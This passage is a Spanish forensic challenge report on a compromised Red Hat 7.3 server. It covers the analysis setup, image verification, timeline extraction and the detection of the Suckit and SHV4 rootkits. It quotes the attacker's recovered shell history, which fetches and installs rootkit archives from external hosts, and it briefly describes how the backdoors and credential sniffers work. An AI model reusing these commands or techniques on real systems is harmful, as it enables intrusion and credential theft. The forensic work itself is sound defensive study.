Reto Forense Hispano v.2.0 Informe Técnico José Ignacio Parra joseignacio.parra@gmail.com Víctor Barahona victor.barahona@gmail.com Quique López quiquelopezfernandez@gmail.com Madrid, España 1 INTRODUCCIÓN 1. Primeros pasos: preparación del entorno y recogida datos inicial. 1.1. Preparación del entorno forense. 1.1.1. Estación de trabajo independiente. 1.1.2. Máquina test: equipo con el mismo SO que la atacada. 1.1.3. Software utilizado para el análisis. 1.2. Descarga y verificación de imágenes suministradas. 1.3. Montaje de las imágenes en la estación de trabajo independiente para su análisis en frío. 1.4. Recogida inicial de datos para su posterior análisis. 2. Estudio forense de las evidencias. 2.1. Análisis del software instalado en la maquina atacada. 2.2. Comprobación de la existencia de una intrusión. 2.3. Búsqueda de los agentes causales de la modificación de los archivos. 2.3.1. Hipótesis rootkit instalado. 2.3.1.1. Suckit. 2.3.1.2. SHV4. 2.3.2. Hipótesis un virus en Linux: 2.3.2.1. Linux/RST.b. 2.3.2.2. Linux/OSF.a. 2.4. De como el atacante entra en el sistema. 2.5. Descripción del compromiso. 3. Análisis de las herramientas instaladas por el atacante. 3.1. Scanner y exploit de Samba: woot.tgz. 3.2. Scanner y exploit de Apache+ssl: selena.tgz. 3.3. Rootkit y backdoor: crk.tgz. 3.4. Irc Bouncer: psybnc.tgz. 3.5. Rootkit Suckit: sc.tgz. 3.6. Irc backdoor: https. 3.7. Backdoor: pico. 3.8. Backdoor: za.tgz. 3.9. Exploit: own. 4. Respuestas a las preguntas del reto. 4.1. ¿A que sistema corresponden las imágenes? 4.2. ¿El sistema fue vulnerado? 4.3. ¿Quien (desde donde) ingreso? 4.4. ¿Cómo ingreso? 4.5. ¿Qué recomendaciones harías para minimizar el riesgo de una nueva intrusión? 2 Introducción El objetivo principal de este informe es la realización de un análisis forense informático de una maquina que supuestamente ha sido comprometida. Se realizara un proceso mediante el cual se reconstruirán a través de distintas técnicas forenses y herramientas, los acontecimientos que tuvieron lugar desde el momento en que el sistema estaba libre del ataque hasta el momento de la detección del intruso. Este desarrollo temporal, tiene como fin, averiguar como se produjo el compromiso, bajo que circunstancias, la procedencia del intruso y momento de la intrusión. Un segundo objetivo no menos importante es el didáctico, tanto para los investigadores del presente informe, como para los lectores del mismo. Por nuestra parte, hemos aprendido, compartido, nos hemos divertido y sobre todo hemos dormido poco durante el tiempo del estudio. Durante la recolección de las pruebas, hemos usado múltiples herramientas y hemos almacenado información para escribir probablemente una trilogía de unos cientos de páginas. Sin embargo y en aras de brevedad exigida por el reto y de la didáctica antes mencionada, solo se han reseñado las partes más relevantes de esa información para que la lectura sea más ágil y amena. El documento consta de 4 partes fundamentales que nos ha permitido diseccionar la información de la forma más clara posible. Una primera en la que se indican los pasos de cómo preparar un entorno forense para el estudio del caso, los pasos dados, las herramientas usadas, etc. Es la parte quizás más mecánica, pero sin duda fundamental y que de no hacerse correctamente tira a traste el resto del trabajo. Una correcta planificación en la fase de preparación facilitara el poder cumplir el resto de las partes de la forma más rápida y eficiente. Una segunda parte en la que se realiza el análisis forense propiamente dicho, buscando la existencia de la intrusión, su origen, el servicio atacado y los pasos del atacante. Es probablemente la parte más importante en cuanto a que responde a la mayor parte de las preguntas que planteaba el reto. En la tercera parte se estudian todas las herramientas que ha usado el intruso: rootkits, exploits, scanners, herramientas de IRC, etc. Se describirá su función y como funcionan de forma pormenorizada. La cuarta y última parte, se plantea como unas conclusiones finales que responden a las respuestas que plantaba el reto y resume brevemente los argumentos usados para llegar a dichas conclusiones. Ha sido una tarea larga pero apasionante y esperamos que el lector aproveche el trabajo que hemos realizado. 3 1. Primeros pasos: preparación del entorno y recogida datos inicial. Antes de comenzar con cualquier tipo de análisis, es fundamental, contar con un entorno preparado para el estudio forense. En está parte es fundamental la planificación y tener claro que tipo de acciones vamos a realizar a posteriori, puesto que muchas de las recogidas de información en imágenes tan grandes como las de este caso, llevan mucho tiempo y un error puede hacer que todo nuestro trabajo se pierda. Una vez tenemos el entorno necesario, pasaremos a la recolección inicial de datos para su posterior análisis. En el caso que nos ocupa, la recogida será en frío, es decir analizando las imágenes del equipo sin arrancarlo por ejemplo en una máquina virtual. A pesar de que evaluamos su realización, no hemos estimado necesario realizar un análisis en caliente de la maquina porque tras el estudio en frío, llegamos a la conclusión de que no nos ofrecía información adicional para resolver el reto. 1.1. Preparación del entorno forense Para poder estudiar las imágenes aportadas por el reto, necesitamos antes de nada preparar un entorno de trabajo forense, para lo cual daremos los siguientes pasos: 1.1.1. Estación de trabajo independiente Para realizar el análisis, se monto una maquina virtual del tipo VMware 1 con sistema operativo RedHat sobre el que se trabajo copiando las imágenes que nos proporcionaron. La razón del uso de este método es que podemos montar una mini red con la maquina virtual y llegado el caso podremos incluso montar otra maquina virtual con las imágenes que nos proporcionaron, sin tener que reinstalar todo el sistema. Además de los paquetes propios de este sistema operativo, se instaron los paquetes sleuthkit y autopsy 2 : sleuthkit-1.73-oss_fc2_1.i386.rpm autopsy-2.03-oss_fc2_3.i386.rpm Para realizar todas las pruebas nos conectábamos a la maquina virtual por SSH, habilitando la opción de guardado de logs desde el cliente SSH, que en este caso usamos el SecureCRT 3 . En ambos casos, el del cliente SecureCRT y el del programa VMware, se usaron dos versiones de prueba que caducan a los pocos días. Antes de empezar a estudiar las imágenes se realizaron una serie de tareas. La primera es configurar un acceso directo vía SSH con el SecureCRT a la maquina virtual donde vamos a estudiar las imágenes. Usáremos siempre el usuario root en la maquina virtual, por ser este usuario el que mas permisos tiene de ejecución de comandos. En este acceso se definió un fichero de log que será donde se guarde un registro de todos los comandos y salidas ejecutadas a lo largo del estudio. En el presente informe se pondrán extractos de este fichero de log. 1 VMware. http://www.vmware.com/vmwarestore/newstore/wkst_eval_login.jsp Los paquetes sleuthkit y autopsy se descargaron de: http://www.spenneberg.com/redirect.php?url=public/Forensics/sleuthkit/sleuthkit-1.73-oss_fc2_1.i386.rpm http://www.spenneberg.com/redirect.php?url=public/Forensics/autopsy/autopsy-2.03-oss_fc2_3.i386.rpm 3 SecureCRT, aplicación cliente de telnet, ssh1 y ssh2 www.vandyke.com/products/securecrt/ 2 4 Entre las características que dispone el programa SecureCRT se encuentra la ejecución de comandos al recibir una cadena de respuesta de la maquina a la que nos conectamos. Según esto, se configuro el SecureCRT para automatizar la entrada en la maquina virtual, posibilitando que se conecte a la maquina, escriba el password de root y modifique variables de entorno. Se cambio también en el sistema la variable PS1, o lo que es lo mismo: el prompt del usuario root, para lo cual se modifico el fichero "/root/.bash_profile". Este formato de línea nos permite tener una idea de los comandos ejecutados y su uso a lo largo de la realización de las pruebas con las imágenes. Es interesante sobre todo si hay que presentar estas y otras pruebas en un futuro proceso judicial. La línea que se mete en el fichero /root/.bash_profile: PS1='[\u@\h \W - `date +%d/%m/%y-%k:%M:%S_%Z` ]\$ ' export PS1 Dando como resultado un prompt del tipo: [root@rhas30 root - 13/02/05-15:40:26_CST ]# Por ultimo, se crea el archivo ".vimrc" en el HOME de root de la maquina virtual (/root). Este fichero tendrá una única entrada que será "set number". Con esta línea hacemos que todos los ficheros que se editen con el editor “vi” aparezcan con los números de línea de dicho fichero. Así será más fácil la localización de las pruebas. En la presentación de los listados, cada línea vendrá precedida con un número en rojo que indicara el número de línea en dicho fichero. 1.1.2. Máquina test: equipo con el mismo SO que la atacada Al igual que en el caso anterior, se procedió a la instalación de una maquina virtual con la versión 7.3 de RedHat 4 con los mismos paquetes y opciones que se instaló la maquina teóricamente comprometida. Usando esta maquina podemos probar nuestras teorías, ejecutar programas y ver sus efectos y en general, recrear los pasos que el atacante dio para la realización de la intrusión. Con objeto de tener la maquina lo más parecida al sistema atacado, además del mismo sistema operativo, vamos a usar el mismo tipo de instalación que en la maquina atacada. Las opciones de instalación se sacaron de la maquina comprometida del fichero /root/anaconda-ks.cfg. Para realizar esta tarea, primero nos bajamos las imágenes, y las instalamos con las opciones que aparecen en dicho fichero, entre las que destacan: 13 timezone America/Mexico_City Los grupos de paquetes que se instalaron se listan a continuación. Además se instalaron los paquetes de la base de datos mysql. 26 27 28 29 30 31 32 33 34 %packages @ Network Support @ Messaging and Web Tools @ Anonymous FTP Server @ SQL Database Server @ Web Server @ DNS Name Server @ Software Development @ Kernel Development 4 Se bajaron las imagines iso de la dirección: ftp://ftp.rediris.es/sites/ftp.redhat.com/pub/redhat/linux/7.3/en/iso/i386 5 1.1.3. Software utilizado para el análisis A continuación detallamos los programas que hemos utilizado: Sleuthkit se compone de una serie de herramientas OpenSource en modo línea de comandos que nos permiten investigar que ha sucedido en una máquina. Entre otras cosas, podemos recoger en que fecha se han modificado, creado o accedido cualquiera de los ficheros de un sistema de ficheros. Soporta múltiples sistemas de ficheros y es la herramienta fundamental para el análisis forense. Muchas de las herramientas usadas en el presente informe están sacadas de comandos de este paquete. http://www.sleuthkit.org/sleuthkit/index.php Autopsy es un software OpenSource que nos proporciona un entorno de gestión de casos forenses. Permite separar distintos casos, agrupar los equipos implicados, es un frontend para sleuthkit por lo que facilita enormemente su uso, permite hacer anotaciones sobre la marcha e identifica al investigador/es que trabajan en el caso, manteniendo un registro de las acciones realizadas por cada uno. Todo esto en un entorno web amigable, fácil de instalar y muy recomendable como base para cualquier análisis forense de este tipo. http://www.sleuthkit.org/autopsy/index.php SecureCRT es un cliente SSH comercial. La razón de usar este en concreto es que disponía de algunas funcionalidades que nos facilitaban la labor durante el análisis. http://www.vandyke.com/products/securecrt/ VMWare es un software comercial que permite tener corriendo simultáneamente en un equipo, varias maquinas virtuales corriendo con distintos sistemas operativos. http://www.vmware.com/ RKhunter es un programa OpenSource que escanea ficheros y directorios buscando rootkits, backdoors, sniffers, etc., este escaneo lo hace comparando dichos ficheros con una base de datos donde están definidos ficheros que usan diferentes rootkits, etc. http://www.rootkit.nl/ Herramientas que vienen en el sistema: md5sum, rpm, file, strings, etc. Como antivirus y detector de malware en general, hemos usado el excelente servicio VirusTotal que examina con 16 motores antivirus los ficheros enviados. http://www.virustotal.com/ Para búsquedas en general en Internet, inevitablemente Google ha sido la mejor herramienta. http://www.google.com 1.2. Descarga y verificación de imágenes suministradas. Realizamos la descarga de las imágenes de uno de los sitios indicados por los organizadores del reto. wget http://pgp.rediris.es:16000/reto/* Procedemos a comprobar la integridad de los ficheros suministrados con la utilidad md5sum. Este programa realiza una función de hash sobre cada fichero y genera una cadena de 16 dígitos hexadecimal única para cada fichero. Cualquier modificación por mínima que sea del fichero original, tendrá como resultado otra cadena de 16 dígitos hexadecimal totalmente diferente. De esa forma y puesto que la organización del reto publicó la firma md5 de cada una de las imágenes, procedimos a verificar la integridad de las mismas. Precisamente en este paso descubrimos que una de las imágenes se había corrompido durante la transferencia y pudimos detectarlo en una primera fase sin mayores problemas. 6 # mkdir /imagenes # mv hda*.gz /imagenes # cd /imágenes # wget http://pgp.rediris.es:16000/reto/* # gunzip hda*.gz # md5sum *.dd 639c0cb8e90158b96cc4f1a3acefc5f1 hda1.dd a3b9a3464d6f8e2494bca7126ec621b1 hda2.dd b90bbfb50821086f195054013260888c hda3.dd 0c5ad84632aa4d6612f21f37c5bc4c4f hda5.dd eb99858c421ae0a48ac7772600dff57c hda6.dd Una vez comprobada la no modificación de las imágenes suministradas, se asume que desde que se crearon las imágenes hasta que llegaron a nuestro poder dichas imágenes no sufrieron modificaciones. 1.3. Montaje de las imágenes en la estación de trabajo independiente para su análisis en frío. Se procede al montaje de las mismas en la maquina virtual anteriormente instalada (estación de trabajo independiente). Para hacerlo, nos fijamos primero en el nombre que han dado a las imágenes, hda1.dd, hda2.dd, hda3.dd, hda5.dd y hda6.dd. Según este nombre, podemos suponer que nos encontramos ante un sistema operativo del tipo Unix montado sobre un ordenador Intel o compatible, que tiene por lo menos un disco del tipo ide. Esta teoría no tiene que ser necesariamente cierta, pero la consideraremos para un primer contacto con el sistema. Intentamos montar la primera imagen (hda1.dd), que generalmente es la partición raíz del sistema. En el montaje elegimos un sistema de ficheros tipo ext2, que es el mas común en un entorno Linux, siendo éste el sistema operativo mas utilizado y por lo tanto el mas probable que sea usado para el sistema que nos ocupa. # mkdir /reto2 # mkdir /reto2/imagen1 # mount -o loop,ro,nodev -t ext2 /imagenes/hda1.dd /reto2/imagen1 Una vez ejecutados los comandos anteriores sin producir errores, ya tenemos montada la primera imagen, lo que nos posibilita movernos por ella sin miedo a modificarla. Nos damos cuenta que es un sistema operativo Redhat y mas concretamente versión 7.3. Este dato lo sacamos del fichero /etc/redhat-release. # cat /reto2/imagen1/etc/redhat-release Red Hat Linux release 7.3 (Valhalla) Nos queda conocer la correspondencia entre las imágenes proporcionadas y las particiones físicas/lógicas de la maquina comprometida. En RedHat esta información se encuentra en el fichero /etc/mtab, este fichero además nos informa que el formato de las particiones es del tipo ext3. 1 2 3 4 5 6 7 8 /dev/hda1 / ext3 rw 0 0 none /proc proc rw 0 0 usbdevfs /proc/bus/usb usbdevfs rw 0 0 none /dev/pts devpts rw,gid=5,mode=620 0 0 /dev/hda2 /home ext3 rw 0 0 none /dev/shm tmpfs rw 0 0 /dev/hda5 /usr ext3 rw 0 0 /dev/hda3 /var ext3 rw 0 0 7 Nos falta conocer la correspondencia entre la última imagen hda6.dd y su punto de montaje. Para averiguarlo, vemos el fichero /etc/fstab, este fichero nos informa que la partición buscada es el swap del equipo y por lo tanto no tiene punto de montaje. # cat /reto2/imagen1/etc/fstab LABEL=/ / none /dev/pts LABEL=/home /home none /proc none /dev/shm LABEL=/usr /usr LABEL=/var /var /dev/hda6 swap /dev/cdrom /mnt/cdrom /dev/fd0 /mnt/floppy ext3 devpts ext3 proc tmpfs ext3 ext3 swap iso9660 auto defaults 1 1 gid=5,mode=620 0 0 defaults 1 2 defaults 0 0 defaults 0 0 defaults 1 2 defaults 1 2 defaults 0 0 noauto,owner,kudzu,ro 0 0 noauto,owner,kudzu 0 0 Según estos dos ficheros, la correspondencia de las imágenes suministradas queda de la siguiente manera: Fichero suministrado hda1.dd hda2.dd hda3.dd hda5.dd hda6.dd partición física maquina /dev/hda1 /dev/hda2 /dev/hda3 /dev/hda5 /dev/hda6 punto de montaje maquina origen / /home /var /usr swap punto de montaje maquina virtual /reto2 /reto2/home /reto2/var /reto2/usr Otro dato importante antes de empezar un estudio exhaustivo de las imágenes es conocer la zona horaria que esta definida en la maquina comprometida. Este dato es la referencia horaria del supuesto ataque. Mirando el fichero /etc/sysconfig/clock vemos que esta definida como ZONE="America/Mexico_City", o lo que es lo mismo Zona CST (Central Standard Time) o GMT-6. # vi /reto2/imagen1/etc/sysconfig/clock 1 ZONE="America/Mexico_City" 2 UTC=false 3 ARC=false A partir de ahora, cuando se realicen referencias horarias, se tomara esta zona como referencia. En cuanto a la precisión de dicha hora, se asume que es poco precisa al carecer la maquina de un servidor NTP configurado. Por comodidad y para evitar estar haciendo continuamente el calculo mental de la zona horaria en relación a nuestro equipo, se procede a meter la línea siguiente en el fichero variable “TZ='America/Mexico_City'; export TZ“ en el fichero /root/.bash_profile de la maquina virtual. Ya tenemos los datos para empezar el estudio de la maquina comprometida. Montamos las diferentes imágenes en un directorio a partir del cual se recreara el sistema atacado para posibilitar su estudio. # # # # # mkdir mount mount mount mount /reto2/hda -o loop,ro,nodev -o loop,ro,nodev -o loop,ro,nodev -o loop,ro,nodev -t -t -t -t ext3 ext3 ext3 ext3 /imagenes/hda1.dd /imagenes/hda2.dd /imagenes/hda3.dd /imagenes/hda5.dd /reto2/hda /reto2/hda/home /reto2/hda/var /reto2/hda/usr Quedando los sistemas de ficheros de la siguiente manera una vez montadas las imágenes: 8 /imagenes/hda1.dd /imagenes/hda2.dd /imagenes/hda3.dd /imagenes/hda5.dd 1004024 3020172 3020172 3020140 80176 32860 57676 676624 872844 2833892 2809076 2190100 9% 2% 3% 24% /reto2/hda /reto2/hda/home /reto2/hda/var /reto2/hda/usr 1.4. Recogida inicial de datos para su posterior análisis. Antes que nada, decir que todos los comandos que vamos a usar del Sleuthkit en modo línea de comandos, pueden ser ejecutados desde el Autopsy con un solo click, pero hemos preferido usarlos en modo línea de comandos para conocerlos más en profundidad y comprender mejor su funcionamiento. La información que vamos a recopilar en este punto, es casi un protocolo en cualquier análisis forense. A partir de esta información cada caso nos llevara a recoger información distinta según el sistema operativo, la información que se vaya encontrando, etc. Lo primero que vamos a recoger son los tiempos de modificación, acceso y creación (mactime) de los ficheros y directorios contenidos en las imágenes. Para ello, vamos a usar una de las herramientas del Sleuthkit llamada fls. # # # # fls fls fls fls -r -r -r -r -l -l -l -l -f -f -f -f linux-ext3 linux-ext3 linux-ext3 linux-ext3 -z -z -z -z CST CST CST CST -m -m -m -m / /imagenes/hda1.dd > /reto2/DataFile.txt /home /imagenes/hda2.dd >> /reto2/DataFile.txt /var /imagenes/hda3.dd >> /reto2/DataFile.txt /usr /imagenes/hda5.dd >> /reto2/DataFile.txt A este listado le añadimos los ficheros que han sido borrados de las 4 particiones, para ello usamos la herramienta ils que también pertenece al Sleuthkit. Como se pude apreciar no se incluye la partición swap (hda6.dd) para crear estos listados, dado que, dicha partición no usa el sistema de ficheros ext3 que estamos analizando. Para analizar el swap se usan otro tipo de técnicas que luego veremos. # # # # ils ils ils ils -f -f -f -f linux-ext3 linux-ext3 linux-ext3 linux-ext3 -m -m -m -m /imagenes/hda1.dd /imagenes/hda2.dd /imagenes/hda3.dd /imagenes/hda5.dd >> >> >> >> /reto2/DataFile.txt /reto2/DataFile.txt /reto2/DataFile.txt /reto2/DataFile.txt El fichero que hemos creado con las herramientas fls e ils, contienen los mactime en formato Epoc Time (número de segundos a partir de las 00:00:00 horas del día 1 enero de 1970 UTC). Usaremos la herramienta mactime para crear un fichero con un formato de hora fácilmente inteligible, transformando el tiempo en formato Epoc Time a un formato “<día de la semana> <mes> <día del mes> <año> <hora: minuto: segundos>” en la hora local de la maquina atacada. Además esta herramienta ordena los accesos cronológicamente. # mactime -b /reto2/DataFile.txt -g /reto2/hda/etc/group -p /reto2/hda/etc/passwd -z CST6CDT > /reto2/mactime_todo.txt A continuación vamos a extraer de cada imagen la parte no usada (unallocated) del disco. En esta información estarán contenidos el espacio sin usar y los ficheros y directorios borrados que aun no han sido sobrescritos y que nos interesa ver o recuperar. Usaremos la herramienta dls de Sleuthkit. dls dls dls dls -f -f -f -f linux-ext3 linux-ext3 linux-ext3 linux-ext3 /imagenes/hda1.dd /imagenes/hda2.dd /imagenes/hda3.dd /imagenes/hda5.dd >> >> >> >> /reto2/hda1.dd.unalloc /reto2/hda2.dd.unalloc /reto2/hda3.dd.unalloc /reto2/hda5.dd.unalloc Seguidamente extraemos de la información no usada (o borrada) de cada partición las cadenas de texto (strings) que contengan. Esto nos permitirá más adelante analizarlas en busca de información que hayan borrado los atacantes o que el sistema haya borrado, pero aun no haya sido sobrescrita. Vamos a usar la herramienta sstrings de Sleuthkit. 9 sstrings sstrings sstrings sstrings -a -a -a -a -t -t -t -t d d d d /imagenes/hda1.dd.unalloc /imagenes/hda2.dd.unalloc /imagenes/hda3.dd.unalloc /imagenes/hda5.dd.unalloc >> >> >> >> /reto2/hda1.dd.unalloc.asc /reto2/hda2.dd.unalloc.asc /reto2/hda3.dd.unalloc.asc /reto2/hda5.dd.unalloc.asc Como decíamos antes, la partición hd6 que contiene el swap es un sistema de ficheros especial y por tanto no podemos analizarla de igual manera. La forma más sencilla de obtener información del swap es extraer también los strings que contiene. Para ello volveremos a usar la herramienta sstrings de Sleuthkit. sstrings -a -t d /imagenes/hda6.dd >> /reto2/hda6.dd.asc El intruso, en la instalación de un rootkit, borró todos los logs del sistema que se encuentran en /var/log/; así que no podemos consultar directamente la información que contenían y compararla con cualquier otra que encontremos. Mas adelante trataremos de recuperar en los ficheros borrados, al menos parte de estos logs para ser usados como evidencia. 10 2 Estudio forense de las evidencias Con toda la información obtenida, podemos empezar el análisis del caso. 2.1 Análisis del software instalado en la maquina atacada El primer listado que vamos a crear es la lista de los paquetes instalados ordenados por fecha de instalación, siendo las primeras líneas los últimos paquetes instalados. Los datos que podemos sacar de dicho listado son los paquetes, servicios y programas que tiene la maquina, y sobre todo, la fecha de instalación de dicha maquina. Esto último lo sabemos al ver que todos los paquetes se instalaron en una misma fecha, no existiendo apenas diferencia de tiempo entre la instalación de unos y otros. # rpm -qa --dbpath /reto2/hda/var/lib/rpm --last > /reto2/rpm_instalados.txt Al no existir apenas tiempo entre la instalación de unos paquetes y otros, siendo estas diferencias de tiempo de segundos, asumimos que la instalación de software inicial se realizo en una sola vez. Según el listado de más abajo, la instalación se realizo el día jueves 20 de enero de 2005 entre las 9:51 y 10:02. Asumimos que en la fecha del termino de la instalación la maquina no había sufrido ningún tipo de intrusión, siendo el hipotético ataque realizado a partir de esa fecha. Mostramos a continuación el primer y ultimo paquete instalado en la maquina con su fecha de instalación. /reto2/rpm_instalados.txt 1 mysqlclient9-3.23.22-6 346 glibc-common-2.2.5-34 jue 20 ene 2005 10:02:42 CST jue 20 ene 2005 09:51:33 CST Esta información se corrobora con la fecha de creación/modificación de los ficheros /root/install.log y /root/install.log.syslog. Siendo ambos ficheros creados por el programa de instalación de RedHat a modo de logs del dicha instalación. -rw-r--r--rw-r--r-- 1 root 1 root root root 11602 ene 20 10:02 install.log 0 ene 20 09:51 install.log.syslog 2.2 Comprobación de la existencia de una intrusión En casi todas la intrusiones, es habitual que el atacante altere los binarios del sistema para que oculten sus actividades o le permitan volver a la maquina sin ser detectado. Vamos a comprobar si se han producido modificaciones de los archivos binarios de la maquina atacada después de la instalación del sistema. Como vimos antes, la mejor forma de hacerlo es usando la firma md5 de los ficheros. En los sistemas basados en paquetes rpm, cada uno de los ficheros instalados almacenan la firma md5 en la base de datos rpm del sistema. Dicha base de datos no es fácilmente alterable al estar en formato binario y suele contener información confiable. Por ello es fácil y razonablemente seguro cotejar dicha base de datos contra las firmas actuales de los ficheros que hay en las imágenes. El siguiente comando almacena en un fichero la lista los ficheros de los paquetes instalados en la maquina cuya firma md5 difiere de los que se suministraron con el paquete instalado. # rpm --root=/reto2/hda -Va > /reto2/rpm_md5.txt De la lista anterior cogemos los ficheros que han sufrido modificaciones, o lo que es lo mismo, que su suma md5 es diferente. En otra lista metemos los ficheros que han sido borrados. # grep "\.5" /reto2/rpm_md5.txt > /reto2/rpm_md5_solo_modificados.txt 11 Mirando los ficheros que han sido modificados, nos encontramos que han cambiado muchos ficheros binarios del sistema, modificándose tanto el md5 del fichero (columna con valor 5), como el tamaño de dicho fichero (columna con valor S). A continuación ponemos parte del fichero rpm_md5_solo_modificados.txt. /reto2/rpm_md5_solo_modificados.txt 2 3 4 5 6 7 8 9 10 11 12 13 14 16 17 18 19 20 21 22 23 24 25 26 27 28 29 33 34 35 36 41 42 S.5....T S.5....T S.5....T S.5....T S.5....T S.5....T S.5....T S.5....T S.5....T S.5....T S.5....T S.5....T S.5....T S.5..... S.5..... S.5..... S.5..... S.5..... S.5..... S.5..... S.5..... S.5..... S.5..... S.5..... S.5..... S.5..... S.5..... S.5..... S.5..... S.5..... S.5..... S.5..... S.5....T /bin/ping /bin/mt /bin/setserial /bin/chgrp /bin/chmod /bin/chown /bin/cp /bin/dd /bin/df /bin/ln /bin/ls /bin/mkdir /bin/mknod /bin/rm /bin/rmdir /bin/sync /bin/touch /bin/grep /bin/consolechars /bin/loadkeys /bin/tar /bin/cat /bin/cut /bin/sort /bin/mount /bin/umount /bin/vi /bin/rpm /bin/doexec /bin/ipcalc /bin/usleep /bin/gettext /bin/mail 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 S.5....T /bin/mktemp S.5....T /bin/hostname S.5....T /bin/netstat S.5....T c /etc/crontab S.5....T /bin/cpio S.5....T /bin/ed S.5....T /bin/gawk S.5....T /bin/gawk-3.1.0 S.5..... /bin/pgawk S.5..... /bin/ash S.5..... /bin/ash.static S.5..... /bin/gunzip S.5..... /bin/gzip S.5..... /bin/zcat S.5..... /bin/sed S.5..... /bin/tcsh S.5..... /bin/basename S.5..... /bin/date S.5..... /bin/echo S.5..... /bin/false S.5..... /bin/nice S.5..... /bin/pwd S.5..... /bin/sleep S.5..... /bin/stty S.5..... /bin/su S.5..... /bin/true S.5..... /bin/uname S.5....T /sbin/init S.5..... /bin/arch S.5..... /bin/dmesg S.5..... /bin/kill S.5..... /bin/login S.5..... /bin/more A la vista de esta información podemos estar razonablemente seguros de que la maquina ha sufrido algún tipo de compromiso. Podría pensar que se ha instalado en la maquina un rootkit o similar. Sin embargo llama la atención que los únicos binarios (salvo init) modificados están el directorio /bin y que son prácticamente la totalidad de los ficheros de este directorio. Algunos de estos ficheros, como date o cut no muestran información del sistema que un rootkit necesite ocultar por lo que es poco probable que un hayan sido modificados por esa razón. Además, solo hay 5 ficheros que no han sido modificados, bash, egrep, fgrep, igawk y ps. Esto aun es más sorprendente puesto que el programa ps, que sirve para mostrar los procesos que corren en el sistema es el primero objetivo de un rootkit. Por tanto, no creemos que hayan sido modificados por un rootkit. Más adelante veremos que es lo que causo dicha modificación. Lo que sabemos con toda seguridad tras ver esto es que han sido modificados comandos binarios del sistema, y que la maquina ha sufrido algún tipo de compromiso. 12 2.3. Búsqueda de los agentes causales de la modificación de los archivos. Los archivos pueden haber sido modificados por varias causas, a continuación presentamos dos hipótesis que puedan explicar dicha modificación. 2.3.1. Hipótesis rootkit instalado. Dado que para tomar el control de una maquina es habitual la instalación de una rootkit, y pese a que las evidencias anteriormente señaladas, sobre archivos binarios modificados, no parezcan solo explicables a través de la instalación de un rootkit, trataremos de comprobar si ha existido tal instalación como hipótesis razonable de intrusión para tomar el control de la maquina. Para buscar dicho rootkit, usaremos el paquete rkhunter 5 : rkhunter-1.2.0.tar.gz Descargamos el paquete de la página web del proyecto, los descomprimirlos y compilarlos. Los resultados que se ven en la salida de la ejecución del rkhunter no son del todo precisos. Indica que, a pesar de que existen ficheros en el sistema que pueden pertenecen a algunos rootkits, en cambio, faltan también algunos ficheros de esos rootkits. La conclusión de esto es que puede tratarse de variantes de estos rootkits que todavía no están dados de alta en la base de datos del rkhunter, o que la instalación de algunos de esos rootkits ha sido incompleta. Ejecutamos el scanner para buscar el rootkit instalado. La salida de este comando por consola indica la posibilidad de tener algún rootkit. En el listado que adjuntamos, hemos suprimido las líneas que no aportan información interesante desde el punto de vista del informe: # /usr/local/bin/rkhunter --checkall --createlogfile --rootdir /reto2/hda Check rootkits * Default files and directories Rootkit 'Flea Linux Rootkit'... Rootkit 'SHV4'... Rootkit 'Suckit Rootkit'... Rootkit 'SunOS Rootkit'... [ [ [ [ Warning! Warning! Warning! Warning! ] ] ] ] La ejecución de este programa crea un archivo de log, donde se muestran las comprobaciones que realiza. Este archivo de logs se encuentra en /var/log/rkhunter.log. Atendiendo a los ficheros contenidos en este log, llegamos a la conclusión de que hay rastros de dos rootkits: Suckit y SHV4. Vamos a detallar muy brevemente en los siguientes puntos, los ficheros encontrados de cada rootkit y la implicación que tiene en la intrusión. Se puede encontrar una descripción completa de ambos rootkits en la sección 4 “Análisis de las herramientas instaladas por el atacante” 2.3.1.1. Suckit 6 . Suckit es un rootkit que no hace uso de binarios modificados, lo que hace es cargarse en la memoria del kernel, pero en vez de cargarse como un modulo, como hacen otros rootkits de este tipo (LKM rootkits como adore, rial, heroin, etc.) lo que hace es cargarse directamente a través de /proc/kmem. Por lo tanto no necesita siquiera soporte para la carga de módulos en el kernel. Una vez cargado proporciona una puerta trasera inversa, protegida con una contraseña y que se activa 5 6 Rkhunter: http://www.rootkit.nl/ Información sobre el Suckit Root Kit http://www.phrack.org/phrack/58/p58-0x07 http://hepwww.rl.ac.uk/sysman/april2003/talks/SecurityIncidentReport.ppt 13 ante la llegada de un paquete spoofeado 7 . En este tipo de puerta trasera (inversa), la victima inicia la conexión y de esta manera el atacante puede saltarse la configuración de la mayoría de los firewalls. Lo que hace el rootkit es sustituir el binario /sbin/init por otro que cargara el rootkit en memoria en cuanto se reinicie la maquina. El fichero init original lo renombra a initxxxx donde xxxx es el nombre del directorio donde guarda el rootkit los ficheros de configuración. En el caso que estamos estudiando, en el fichero /.bash_history encontramos que se han descargado e instalado el rootkit suckit. /.bash_history 4 5 6 7 8 wget xhack.150m.com/sc.tgz tar -zxvf sc.tgz cd sc ./inst ./sk Durante la ejecución de estos comandos, se cambia el nombre al /sbin/init para llamarlo /sbin/initsk12 y se copia el rootkit en /sbin/init. Sin embargo, la instalación falla al crear el directorio /usr/share/.X12-kernel, por lo que a pesar de que el rootkit se carga en el sistema al reiniciar, ha quedado solo parcialmente instalado. Una ultima comprobación que hacemos, viene dada por el md5 del fichero. # md5sum /reto2/sbin/initsk12 a44b4fe49763349af054000b8565618a sbin/initsk12 Esta suma md5 corresponde exactamente con el md5 del mismo fichero encontrado en un incidente en el que el suckit esta instalado y que esta documentado en Internet 8 . 2.3.1.2. SHV4 9 . El SHV4 es un rootkit técnicamente menos sofisticado que el suckit. Básicamente es una serie de scripts que instala nuevos binarios sobre los originales del sistema para ocultar información. Entre sus otras funcionalidades están: - Instala una puerta trasera (sshd) en un puerto configurable protegido con contraseña. Modifica el servidor sshd por uno que almacena el usuario y contraseña de cualquier usuario que se conecte a esa maquina. Instala un sniffer llamando linsniffer y un script para extraer de sus logs, usuarios y contraseñas. En la maquina atacada, vemos en el fichero /.bash_history, como se descarga e instala el rootkit SHV4: 7 Paquete spoofeado: paquete tcp/ip con la cabecera falsificada. Información en la que aparece el md5 de un fichero de la maquina. Dicho fichero pertenece al rootkit Suckit http://openskills.info/view/boxdetail.php?IDbox=20&boxtype=stdout 9 Información detallada sobre el SHV4 https://tms.symantec.com/members/AnalystReports/030929-Analysis-SHV4Rootkit.pdf 8 14 /.bash_history 14 15 16 17 18 19 20 21 22 wget www.zetu.as.ro/crk.tar.gz tar xzvf crk.tar.gz cd crk ./install 